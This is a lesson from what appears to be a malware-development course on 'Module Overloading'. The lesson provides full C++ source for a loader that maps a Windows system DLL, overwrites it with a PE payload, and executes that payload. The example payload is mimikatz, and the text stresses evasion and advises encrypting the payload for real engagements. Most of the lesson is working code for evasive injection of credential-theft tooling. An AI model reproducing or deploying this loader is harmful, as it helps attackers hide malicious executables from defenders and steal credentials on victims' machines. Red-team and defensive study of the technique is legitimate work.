MalDev Study
Advanced Module 37advanced5 code files

Module Overloading

In the previous module, the code injection technique "Module Stomping" was introduced and demonstrated. Recall that Module Stomping uses a sacrificial DLL file and overwrites pa...

Jump to Section (12)

Introduction

In the previous module, the code injection technique "Module Stomping" was introduced and demonstrated. Recall that Module Stomping uses a sacrificial DLL file and overwrites part of its .text section with a shellcode payload.

Module Overloading shares similarities with Module Stomping, as it involves mapping a sacrificial DLL and replacing it with another PE file instead of utilizing a position- independent shellcode. Furthermore, Module Overloading will overwrite the entire sacrificial DLL, starting with its PE headers, unlike Module Stomping where only part of the .text section was overwritten.

Just like Module Stomping, Module Overloading injects the payload into an image memory region rather than a private, which can potentially be better for evasion.

Implementation

The Module Overloading implementation in this module follows the steps below:

1. Read and parse the PE payload (i.e. the payload that will overwrite the sacrificial DLL .

2.Load the sacrificial DLL.

3. Resolve the PE payload's loading requirement (i.e. IAT Fixing, relocation, etc.).

4.Overwrite the sacrificial DLL with the PE payload image.

5.Execute the PE payload by running its entry point.

As usual, this module will go through the implementation steps and demonstrate the results towards the end of the module.

Reading And Parsing The PE Payload

For the sake of simplicity, the PE payload will be the mimikatz.exe binary and will be stored on disk. In real engagements, it's highly recommended to encrypt the PE payload and store it in the implementation's resource section. This method of storing and utilizing the payload was shown in New Module 23 Building An Evasive DLL Payload Loader.

ReadFileFromDisk Function

The function ReadFileFromDisk shown below is responsible for reading the PE payload file from disk. ReadFileFromDisk accepts the following parameters:

  • szFileName The PE payload's path.
  • ppBuffer A pointer to a PBYTE variable that receives the base address of the read file.
  • pdwFileSize A pointer to a DWORD variable, that receives the size of the read file.
CPP
BOOL ReadFileFromDisk(IN LPCWSTR szFileName, OUT PBYTE* ppBuffer, OUT PDWORD pdwFileSize) {

    HANDLE      hFile                   = INVALID_HANDLE_VALUE;
    PBYTE       pBufer                   = NULL;
    DWORD       dwFileSize              = 0x00,
                dwNumberOfBytesRead      = 0x00;

    if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        PRNT_WN_ERR(TEXT("CreateFileW"));
        goto _FUNC_CLEANUP;
    }

    if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
        PRNT_WN_ERR(TEXT("GetFileSize"));
        goto _FUNC_CLEANUP;
    }

    if ((pBufer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize)) == NULL) {
        PRNT_WN_ERR(TEXT("HeapAlloc"));
        goto _FUNC_CLEANUP;
    }

    if (!ReadFile(hFile, pBufer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
        PRNT_WN_ERR(TEXT("ReadFile"));
        goto _FUNC_CLEANUP;
    }

    *ppBuffer       = pBufer;
    *pdwFileSize    = dwFileSize;

_FUNC_CLEANUP:
    if (hFile != INVALID_HANDLE_VALUE)
        CloseHandle(hFile);
    if (!*ppBuffer && pBufer)
        HeapFree(GetProcessHeap(), 0x00, pBufer);
    return ((*ppBuffer != NULL) && (*pdwFileSize != 0x00)) ? TRUE : FALSE;
}

Parsing The PE Payload

After reading the PE payload, the next step is to parse the PE headers, extracting the required information for the loading process. This step was performed in earlier modules related to PE injections:

InitializePeStruct Function

The InitializePeStruct function is responsible for parsing the read PE file and has the following parameters:

  • pPeHdrs A pointer to a PE_HDRS structure. This structure holds the information needed for the PE loading process.
  • pFileBuffer The base address of the read file. This is retrieved by calling the ReadFileFromDisk function.
  • dwFileSize The size of the read file. This is retrieved by calling the ReadFileFromDisk function.
CPP
typedef struct _PE_HDRS
{
    PBYTE                   pFileBuffer;
    DWORD                   dwFileSize;
    PIMAGE_NT_HEADERS        pImgNtHdrs;
    PIMAGE_SECTION_HEADER    pImgSecHdr;

    PIMAGE_DATA_DIRECTORY    pEntryImportDataDir;
    PIMAGE_DATA_DIRECTORY    pEntryBaseRelocDataDir;
    PIMAGE_DATA_DIRECTORY    pEntryTLSDataDir;
    PIMAGE_DATA_DIRECTORY    pEntryExceptionDataDir;
    PIMAGE_DATA_DIRECTORY    pEntryExportDataDir;

    BOOL                    bIsDLLFile;
} PE_HDRS, * PPE_HDRS;

BOOL InitializePeStruct(OUT PPE_HDRS pPeHdrs, IN PBYTE pFileBuffer, IN DWORD dwFileSize) {

    if (!pPeHdrs || !pFileBuffer || !dwFileSize)
        return FALSE;

    pPeHdrs->pFileBuffer = pFileBuffer;
    pPeHdrs->dwFileSize  = dwFileSize;
    pPeHdrs->pImgNtHdrs  = (PIMAGE_NT_HEADERS)(pFileBuffer + ((PIMAGE_DOS_HEADER)pFileBuffer)->e_lfanew);

    if (pPeHdrs->pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        return FALSE;

    pPeHdrs->bIsDLLFile              = (pPeHdrs->pImgNtHdrs->FileHeader.Characteristics & IMAGE_FILE_DLL) ? TRUE : FALSE;
    pPeHdrs->pImgSecHdr              = IMAGE_FIRST_SECTION(pPeHdrs->pImgNtHdrs);
    pPeHdrs->pEntryImportDataDir     = &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
    pPeHdrs->pEntryBaseRelocDataDir  = &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
    pPeHdrs->pEntryTLSDataDir        = &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_TLS];
    pPeHdrs->pEntryExceptionDataDir  = &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXCEPTION];
    pPeHdrs->pEntryExportDataDir     = &pPeHdrs->pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];

    return TRUE;
}

Loading The Sacrificial DLL

As done in the previous Module Stomping module, loading the sacrificial DLL is achieved by calling the LoadDllFile function. Recall that the LoadDllFile accepts the following parameters:

  • szDllFilePath A Unicode string, representing the sacrificial DLL's name.
  • phModule A pointer to a HMODULE variable that will receive the module handle of the mapped DLL.
  • psImgSize A pointer to a SIZE_T variable that will receive the image size of the mapped DLL.
CPP
BOOL LoadDllFile(IN LPCWSTR szDllFilePath, OUT HMODULE* phModule, OUT PULONG_PTR puEntryPnt) {

    HANDLE                  hFile               = INVALID_HANDLE_VALUE,
                            Section              = NULL;
    NTSTATUS                STATUS               = STATUS_SUCCESS;
    ULONG_PTR               uMappedModule        = NULL;
    SIZE_T                  sViewSize            = NULL;
    PIMAGE_NT_HEADERS        pImgNtHdrs          = NULL;

    if (!szDllFilePath || !phModule || !puEntryPnt)
        return FALSE;

    if ((hFile = CreateFileW(szDllFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
        PRNT_WN_ERR(TEXT("CreateFileW"));
        goto _FUNC_CLEANUP;
    }

    if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0x00, PAGE_READONLY, SEC_IMAGE, hFile)))) {
        PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
        goto _FUNC_CLEANUP;
    }

    DELETE_HANDLE(hFile);

    if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule, NULL, NULL, NULL, &sViewSize, ViewShare, NU
LL, PAGE_EXECUTE_READWRITE)))) {
        PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
        goto _FUNC_CLEANUP;
    }

    pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);
    if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
        goto _FUNC_CLEANUP;

    *phModule   = (HMODULE)uMappedModule;
    *puEntryPnt = uMappedModule + pImgNtHdrs->OptionalHeader.AddressOfEntryPoint;

_FUNC_CLEANUP:
    DELETE_HANDLE(hFile);
    DELETE_HANDLE(hSection);
    return (*phModule && *puEntryPnt) ? TRUE : FALSE;
}

PE Loading Requirements

Since we're dealing with a PE payload file rather than a position-independent shellcode, additional steps are necessary to support PE loading. These steps were discussed again in the PE injection modules, therefore they will not be explained in detail in this module. If required, review the modules below:

We'll be reusing the FixImportAddressTable, FixReloc and FixMemPermissions functions in this module, all of which are shown below. These functions will be used from within the ModuleOverload function which will be introduced in an upcoming section.

CPP
BOOL FixImportAddressTable(IN PIMAGE_DATA_DIRECTORY pEntryImportDataDir, IN PBYTE pPeBaseAddress) {

    // Pointer to an import descriptor for a DLL
    PIMAGE_IMPORT_DESCRIPTOR pImgDescriptor      = NULL;
    // Iterate over the import descriptors
    for (SIZE_T i = 0; i < pEntryImportDataDir->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) {
        // Get the current import descriptor
        pImgDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pPeBaseAddress + pEntryImportDataDir->VirtualAddress + i);
        // If both thunks are NULL, we've reached the end of the import descriptors list
        if (pImgDescriptor->OriginalFirstThunk == NULL && pImgDescriptor->FirstThunk == NULL)
            break;

        // Retrieve information from the current import descriptor
        LPSTR       cDllName                        = (LPSTR)(pPeBaseAddress + pImgDescriptor->Name);
        ULONG_PTR   uOriginalFirstThunkRVA          = pImgDescriptor->OriginalFirstThunk;
        ULONG_PTR   uFirstThunkRVA                  = pImgDescriptor->FirstThunk;
        SIZE_T      ImgThunkSize                    = 0x00;  // Used to move to the next function (iterating through the IAT and INT)
        HMODULE     hModule                         = NULL;

        // Try to load the DLL referenced by the current import descriptor
        if (!(hModule = LoadLibraryA(cDllName))) {
            PRINT_WINAPI_ERR("LoadLibraryA");
            return FALSE;
        }

        // Iterate over the imported functions for the current DLL
        while (TRUE) {

            // Get pointers to the first thunk and original first thunk data
            PIMAGE_THUNK_DATA               pOriginalFirstThunk     = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uOriginalFirstThunkRVA + ImgThunkSize);
            PIMAGE_THUNK_DATA               pFirstThunk             = (PIMAGE_THUNK_DATA)(pPeBaseAddress + uFirstThunkRVA + ImgThunkSize);
            PIMAGE_IMPORT_BY_NAME           pImgImportByName        = NULL;
            ULONG_PTR                       pFuncAddress            = NULL;

            // At this point both 'pOriginalFirstThunk' & 'pFirstThunk' will have the same values
            // However, to populate the IAT (pFirstThunk), one should use the INT (pOriginalFirstThunk) to retrieve the 
            // functions addresses and patch the IAT (pFirstThunk->u1.Function) with the retrieved address.
            if (pOriginalFirstThunk->u1.Function == NULL && pFirstThunk->u1.Function == NULL) {
                break;
            }

            // If the ordinal flag is set, import the function by its ordinal number
            if (IMAGE_SNAP_BY_ORDINAL(pOriginalFirstThunk->u1.Ordinal)) {
                if ( !(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, IMAGE_ORDINAL(pOriginalFirstThunk->u1.Ordinal))) ) {
                    printf("[!] Could Not Import !%s#%d \n", cDllName, (int)pOriginalFirstThunk->u1.Ordinal);
                    return FALSE;
                }
            }
            // Import function by name
            else {
                pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pPeBaseAddress + pOriginalFirstThunk->u1.AddressOfData);
                if ( !(pFuncAddress = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name)) ) {
                    printf("[!] Could Not Import !%s.%s \n", cDllName, pImgImportByName->Name);
                    return FALSE;
                }
            }

            // Install the function address in the IAT
            pFirstThunk->u1.Function = (ULONGLONG)pFuncAddress;

            // Move to the next function in the IAT/INT array
            ImgThunkSize += sizeof(IMAGE_THUNK_DATA);
        }
    }

    return TRUE;
}

//-------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------

BOOL FixReloc(IN PIMAGE_DATA_DIRECTORY pEntryBaseRelocDataDir, IN ULONG_PTR pPeBaseAddress, IN ULONG_PTR pPreferableAddress) {

    // Pointer to the beginning of the base relocation block.
    PIMAGE_BASE_RELOCATION pImgBaseRelocation = (pPeBaseAddress + pEntryBaseRelocDataDir->VirtualAddress);

    // The difference between the current PE image base address and its preferable base address.
    ULONG_PTR uDeltaOffset = pPeBaseAddress - pPreferableAddress;

    // Pointer to individual base relocation entries.
    PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL;

    // Iterate through all the base relocation blocks.
    while (pImgBaseRelocation->VirtualAddress) {

        // Pointer to the first relocation entry in the current block.
        pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pImgBaseRelocation + 1);

        // Iterate through all the relocation entries in the current block.
        while ((PBYTE)pBaseRelocEntry != (PBYTE)pImgBaseRelocation + pImgBaseRelocation->SizeOfBlock) {
            // Process the relocation entry based on its type.
            switch (pBaseRelocEntry->Type) {
                case IMAGE_REL_BASED_DIR64:
                    // Adjust a 64-bit field by the delta offset.
                    *((ULONG_PTR*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += uDeltaOffset;
                    break;
                case IMAGE_REL_BASED_HIGHLOW:
                    // Adjust a 32-bit field by the delta offset.
                    *((DWORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)uDeltaOffset;
                    break;
                case IMAGE_REL_BASED_HIGH:
                    // Adjust the high 16 bits of a 32-bit field.
                    *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(uDeltaOffset);
                    break;
                case IMAGE_REL_BASED_LOW:
                    // Adjust the low 16 bits of a 32-bit field.
                    *((WORD*)(pPeBaseAddress + pImgBaseRelocation->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(uDeltaOffset);
                    break;
                case IMAGE_REL_BASED_ABSOLUTE:
                    // No relocation is required.
                    break;
                default:
                    // Handle unknown relocation types.
                    printf("[!] Unknown relocation type: %d | Offset: 0x%08X \n", pBaseRelocEntry->Type, pBaseRelocEntry->Offset);
                    return FALSE;
            }
            // Move to the next relocation entry.
            pBaseRelocEntry++;
        }

        // Move to the next relocation block.
        pImgBaseRelocation = (PIMAGE_BASE_RELOCATION)pBaseRelocEntry;
    }

    return TRUE;
}

//-------------------------------------------------------------------------------------------------------------------------------------------------
-------------------------

BOOL FixMemPermissions(IN ULONG_PTR pPeBaseAddress, IN PIMAGE_NT_HEADERS pImgNtHdrs, IN PIMAGE_SECTION_HEADER pImgSecHdr) {

    // Loop through each section of the PE image.
    for (DWORD i = 0; i < pImgNtHdrs->FileHeader.NumberOfSections; i++) {

        // Variables to store the new and old memory protections.
        DWORD   dwProtection        = 0x00,
                dwOldProtection      = 0x00;

        // Skip the section if it has no data or no associated virtual address.
        if (!pImgSecHdr[i].SizeOfRawData || !pImgSecHdr[i].VirtualAddress)
            continue;

        // Determine memory protection based on section characteristics.
        // These characteristics dictate whether the section is readable, writable, executable, etc.

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE)
            dwProtection = PAGE_WRITECOPY;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ)
            dwProtection = PAGE_READONLY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_READWRITE;

        if (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE)
            dwProtection = PAGE_EXECUTE;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE))
            dwProtection = PAGE_EXECUTE_WRITECOPY;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READ;

        if ((pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pImgSecHdr[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pImgSecHdr[i].Char
acteristics & IMAGE_SCN_MEM_READ))
            dwProtection = PAGE_EXECUTE_READWRITE;

        // Apply the determined memory protection to the section.
        if (!VirtualProtect((PVOID)(pPeBaseAddress + pImgSecHdr[i].VirtualAddress), pImgSecHdr[i].SizeOfRawData, dwProtection, &dwOldProtection)) {
            PRINT_WINAPI_ERR("VirtualProtect");
            return FALSE;
        }
    }

    return TRUE;
}

Overwriting DLL With PE Payload

The OverWriteSacrificialDll function will be used to overwrite the sacrificial DLL's code with the PE payload. OverWriteSacrificialDll changes the memory permissions of the mapped DLL, and then it copies the PE payload over. OverWriteSacrificialDll is called from within the ModuleOverLoad function which is discussed in the following section.

OverWriteSacrificialDll accepts the following parameters:

  • uMappedDll The base address of the mapped sacrificial DLL.
  • sMappedImgSize The image size of the DLL.
  • uPePayload The base address of the read payload file.
  • sPePayloadSize The size of the payload.
CPP
BOOL OverWriteSacrificialDll(IN ULONG_PTR uMappedDll, IN SIZE_T sMappedImgSize, IN ULONG_PTR uPePayload, IN SIZE_T sPePayloadSize) {

    DWORD   dwOldProtection     = 0x00;

    if (!uMappedDll || !uPePayload || !sPePayloadSize)
        return FALSE;

    // Both should start with "MZ" (DOS Header)
    if (*(unsigned short*)uMappedDll != *(unsigned short*)uPePayload)
        return FALSE;

    // Allow writing to the sacrificial dll
    if (!VirtualProtect(uMappedDll, sMappedImgSize, PAGE_READWRITE, &dwOldProtection)) {
        PRNT_WN_ERR(TEXT("VirtualProtect"));
        return FALSE;
    }

    // Overwriting 
    memset(uMappedDll, 0x00, sMappedImgSize);
    memcpy(uMappedDll, uPePayload, sPePayloadSize);

    return TRUE;
}

The ModuleOverLoad Function

The ModuleOverLoad function is responsible for connecting the whole implementation. The function will perform the following actions:

  • Maps the sacrificial DLL by calling LoadDllFile.
  • Allocates and copies the PE payload into a temporary memory buffer, then calls the FixImportAddressTable function.
  • Calls OverWriteSacrificialDll and overwrites the mapped DLL with the payload located in the temporary buffer.
  • Frees the temporary buffer.
  • Calls the FixReloc and FixMemPermissions functions.
  • Executes the entry point of the payload.

It is worth noting that after calling the OverWriteSacrificialDll the entire memory region holding the payload becomes Readable-Writable (RW). This forces us to call the VirtualProtect WinAPI to change the memory permissions of the payload's PE headers (the DLL's PE headers previously) to Read-Only (R), which is the correct memory permission for PE headers. The rest of the PE payload memory permissions are set by the FixMemPermissions function.

The ModuleOverLoad function is shown below, accepting the following parameters.

  • szSacrificialDllName A Unicode string, representing the sacrificial DLL's name.
  • pPeHdrs A pointer to an initialized PE_HDRS structure. This variable is returned by the InitializePeStruct function.
CPP
BOOL ModuleOverLoad(IN LPCWSTR szSacrificialDllName, IN PPE_HDRS pPeHdrs) {

    ULONG_PTR   uMappedDll          = NULL;
    SIZE_T      sMappedImgSize      = NULL;
    PBYTE       pPeBaseAddress      = NULL,
                pPeEntryPnt         = NULL;
    DWORD       dwOldProtection     = 0x00;

    if (!szSacrificialDllName || !pPeHdrs)
        return FALSE;

    // Load the sacrificial dll
    if (!LoadDllFile(szSacrificialDllName, &uMappedDll, &sMappedImgSize))
        return FALSE;

    // If the sacrificial dll size is less than that of the payload's
    if (sMappedImgSize < pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage)
        return FALSE;

    // Allocate a temporary buffer to copy the PE payload
    if ((pPeBaseAddress = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage)) == NULL) {
        PRNT_WN_ERR(TEXT("HeapAlloc"));
        return FALSE;
    }

    // Copy the PE payload to the temporary buffer
    memcpy(pPeBaseAddress, pPeHdrs->pFileBuffer, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfHeaders);

    for (int i = 0; i < pPeHdrs->pImgNtHdrs->FileHeader.NumberOfSections; i++) {
        memcpy(
            (PVOID)(pPeBaseAddress + pPeHdrs->pImgSecHdr[i].VirtualAddress),
            (PVOID)((ULONG_PTR)pPeHdrs->pFileBuffer + pPeHdrs->pImgSecHdr[i].PointerToRawData),
            pPeHdrs->pImgSecHdr[i].SizeOfRawData
        );
    }

    // IAT Fixing
    if (!FixImportAddressTable(pPeHdrs->pEntryImportDataDir, pPeBaseAddress))
        goto _FUNC_FAILED;

    // Replace the sacrificial dll with the payload
    // uMappedDll is RW
    if (!OverWriteSacrificialDll(uMappedDll, sMappedImgSize, pPeBaseAddress, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfImage))
        goto _FUNC_FAILED;

    // uMappedDll is now the base address of the payload
    // Free pPeBaseAddress
    DELETE_PNTR(pPeBaseAddress);

    // Fix Relocations
    if (!FixReloc(pPeHdrs->pEntryBaseRelocDataDir, uMappedDll, pPeHdrs->pImgNtHdrs->OptionalHeader.ImageBase))
        goto _FUNC_FAILED;

    // Fix Memory Permissions (Headers are RO)
    if (!VirtualProtect(uMappedDll, pPeHdrs->pImgNtHdrs->OptionalHeader.SizeOfHeaders, PAGE_READONLY, &dwOldProtection)) {
        PRNT_WN_ERR(TEXT("VirtualProtect"));
        goto _FUNC_FAILED;
    }

    // Fix Memory Permissions 
    if (!FixMemPermissions(uMappedDll, pPeHdrs->pImgNtHdrs, pPeHdrs->pImgSecHdr))
        goto _FUNC_FAILED;

    // Get the payload entry point
    pPeEntryPnt = (PBYTE)(uMappedDll + pPeHdrs->pImgNtHdrs->OptionalHeader.AddressOfEntryPoint);

    // Execute the payload
    // If dll
    if (pPeHdrs->bIsDLLFile) {
        DLLMAIN pDllMain = (DLLMAIN)pPeEntryPnt;
        return pDllMain((HINSTANCE)uMappedDll, DLL_PROCESS_ATTACH, NULL);
    }
    // If exe
    MAIN pMain = (MAIN)pPeEntryPnt;
    return pMain();

_FUNC_FAILED:
    DELETE_PNTR(pPeBaseAddress);
    return FALSE;
}

The Main Function

The main function will be responsible for setting the sacrificial DLL and PE payload. Additionally, it will read the payload via the ReadFileFromDisk function and then parse it using InitializePeStruct. Finally, ModuleOverload is called to inject and execute the payload.

CPP
#define SACRIFICAL_DLL   L"C:\\Windows\\System32\\WsmSvc.dll"
#define PAYLOAD_PE       L"C:\\Users\\Admin\\Desktop\\Payloads\\mimikatz.exe"

int main() {

    HMODULE     hNtdll          = NULL;
    PBYTE       pFileBuffer     = NULL;
    DWORD       dwFileSize      = 0x00;
    PE_HDRS     PeHdrStruct     = { 0x00 };

    if (!(hNtdll = GetModuleHandle(TEXT("NTDLL"))))
        return -1;

    // Required by the "LoadDllFile" function.
    g_NtApi.pNtCreateSection     = (fnNtCreateSection)GetProcAddress(hNtdll, "NtCreateSection");
    g_NtApi.pNtMapViewOfSection  = (fnNtMapViewOfSection)GetProcAddress(hNtdll, "NtMapViewOfSection");
    g_NtApi.pNtCreateThreadEx    = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");

    if (!g_NtApi.pNtCreateSection || !g_NtApi.pNtMapViewOfSection || !g_NtApi.pNtCreateThreadEx)
        return -1;

    // Read the PE payload
    if (!ReadFileFromDisk(PAYLOAD_PE, &pFileBuffer, &dwFileSize))
        return -1;

    // Extract important information required for PE injection
    if (!InitializePeStruct(&PeHdrStruct, pFileBuffer, dwFileSize))
        return -1;

    // Inject and execute the payload
    if (!ModuleOverLoad(SACRIFICAL_DLL, &PeHdrStruct))
        return -1;

    WaitForSingleObject((HANDLE)-1, INFINITE);
    return 0;
}

Demo

The image below shows the use of WsmSvc.dll as the sacrificial DLL and mimikatz.exe as the PE payload.

Module Overloading figure
Diagram

Companion Project & Source Code

5 readable source/config files extracted directly from the archive

Download Module 37 - ModuleOverloading.zip
17.0 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>
#include <stdio.h>


#include "Structs.h"

//----------------------------------------------------------------------------------------------------------------------------------------------------------

#define PRNT_WN_ERR(szWnApiName)			printf("[!] %ws Failed With Error: %d \n", szWnApiName, GetLastError());
#define PRNT_NT_ERR(szNtApiName, NtErr)		printf("[!] %ws Failed With Error: 0x%0.8X \n", szNtApiName, NtErr);

#define DELETE_HANDLE(H)								\
	if (H != NULL && H != INVALID_HANDLE_VALUE){		\
		CloseHandle(H);									\
		H = NULL;										\
	}


#define DELETE_PNTR(PNTR)								\
	if (PNTR != NULL){									\
		HeapFree(GetProcessHeap(), 0x00, PNTR);			\
		PNTR = NULL;									\
	}


#define GET_FILENAME(path) (wcsrchr(path, L'\\') ? wcsrchr(path, L'\\') + 1 : path)

//----------------------------------------------------------------------------------------------------------------------------------------------------------

typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
typedef BOOL(WINAPI* MAIN)();

//----------------------------------------------------------------------------------------------------------------------------------------------------------

typedef struct _NTAPIFP
{
	fnNtCreateSection				pNtCreateSection;
	fnNtMapViewOfSection			pNtMapViewOfSection;
	fnNtCreateThreadEx				pNtCreateThreadEx;

} NTAPIFP, * PNTAPIFP;


typedef struct _PE_HDRS
{
	PBYTE					pFileBuffer;
	DWORD					dwFileSize;

	PIMAGE_NT_HEADERS		pImgNtHdrs;
	PIMAGE_SECTION_HEADER	pImgSecHdr;

	PIMAGE_DATA_DIRECTORY	pEntryImportDataDir;
	PIMAGE_DATA_DIRECTORY	pEntryBaseRelocDataDir;
	PIMAGE_DATA_DIRECTORY	pEntryTLSDataDir;
	PIMAGE_DATA_DIRECTORY	pEntryExceptionDataDir;
	PIMAGE_DATA_DIRECTORY	pEntryExportDataDir;

	BOOL					bIsDLLFile;
}PE_HDRS, * PPE_HDRS;


NTAPIFP		g_NtApi = { 0x00 };

//----------------------------------------------------------------------------------------------------------------------------------------------------------

BOOL ReadFileFromDisk(IN LPCWSTR szFileName, OUT PBYTE* ppBuffer, OUT PDWORD pdwFileSize) {

	HANDLE		hFile					= INVALID_HANDLE_VALUE;
	PBYTE		pBufer					= NULL;
	DWORD		dwFileSize				= 0x00,
				dwNumberOfBytesRead		= 0x00;

	if ((hFile = CreateFileW(szFileName, GENERIC_READ, 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
		PRNT_WN_ERR(TEXT("CreateFileW"));
		goto _FUNC_CLEANUP;
	}

	if ((dwFileSize = GetFileSize(hFile, NULL)) == INVALID_FILE_SIZE) {
		PRNT_WN_ERR(TEXT("GetFileSize"));
		goto _FUNC_CLEANUP;
	}

	if ((pBufer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwFileSize)) == NULL) {
		PRNT_WN_ERR(TEXT("HeapAlloc"));
		goto _FUNC_CLEANUP;
	}

	if (!ReadFile(hFile, pBufer, dwFileSize, &dwNumberOfBytesRead, NULL) || dwFileSize != dwNumberOfBytesRead) {
		PRNT_WN_ERR(TEXT("ReadFile"));
		goto _FUNC_CLEANUP;
	}

	*ppBuffer		= pBufer;
	*pdwFileSize	= dwFileSize;

_FUNC_CLEANUP:
	if (hFile != INVALID_HANDLE_VALUE)
		CloseHandle(hFile);
	if (!*ppBuffer && pBufer)
		HeapFree(GetProcessHeap(), 0x00, pBufer);
	return ((*ppBuffer != NULL) && (*pdwFileSize != 0x00)) ? TRUE : FALSE;
}

//----------------------------------------------------------------------------------------------------------------------------------------------------------

BOOL LoadDllFile(IN LPCWSTR szDllFilePath, OUT HMODULE* phModule, OUT PSIZE_T psImgSize) {

	HANDLE				hFile			= INVALID_HANDLE_VALUE,
						hSection		= NULL;
	NTSTATUS			STATUS			= STATUS_SUCCESS;
	ULONG_PTR			uMappedModule	= NULL;
	SIZE_T				sViewSize		= NULL;
	PIMAGE_NT_HEADERS   pImgNtHdrs		= NULL;

	if (!szDllFilePath || !phModule)
		return FALSE;

	if ((hFile = CreateFileW(szDllFilePath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL)) == INVALID_HANDLE_VALUE) {
		PRNT_WN_ERR(TEXT("CreateFileW"));
		goto _FUNC_CLEANUP;
	}

	if (!NT_SUCCESS((STATUS = g_NtApi.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0x00, PAGE_READONLY, SEC_IMAGE, hFile)))) {
		PRNT_NT_ERR(TEXT("NtCreateSection"), STATUS);
		goto _FUNC_CLEANUP;
	}

	DELETE_HANDLE(hFile);

	if (!NT_SUCCESS((STATUS = g_NtApi.pNtMapViewOfSection(hSection, NtCurrentProcess(), &uMappedModule, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)))) {
		PRNT_NT_ERR(TEXT("NtMapViewOfSection"), STATUS);
		goto _FUNC_CLEANUP;
	}

	pImgNtHdrs = (PIMAGE_NT_HEADERS)(uMappedModule + ((PIMAGE_DOS_HEADER)uMappedModule)->e_lfanew);
	if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
		goto _FUNC_CLEANUP;

	*phModule		= (HMODULE)uMappedModule;
	*psImgSize		= (SIZE_T)pImgNtHdrs->OptionalHeader.SizeOfImage;

_FUNC_CLEANUP:
	DELETE_HANDLE(hFile);
	DELETE_HANDLE(hSection);
	return *phModule ? TRUE : FALSE;
}

//----------------------------------------------------------------------------------------------------------------------------------------------------------

BOOL InitializePeStruct(OUT PPE_HDRS pPeHdrs, IN PBYTE pFileBuffer, IN DWORD dwFileSize) {

	if (!pPeHdrs || !pFileBuffer || !dwFileSize)
		return FALSE;

	pPeHdrs->pFileBuffer	= pFileBuffer;
	pPeHdrs->dwFileSize		= dwFileSize;
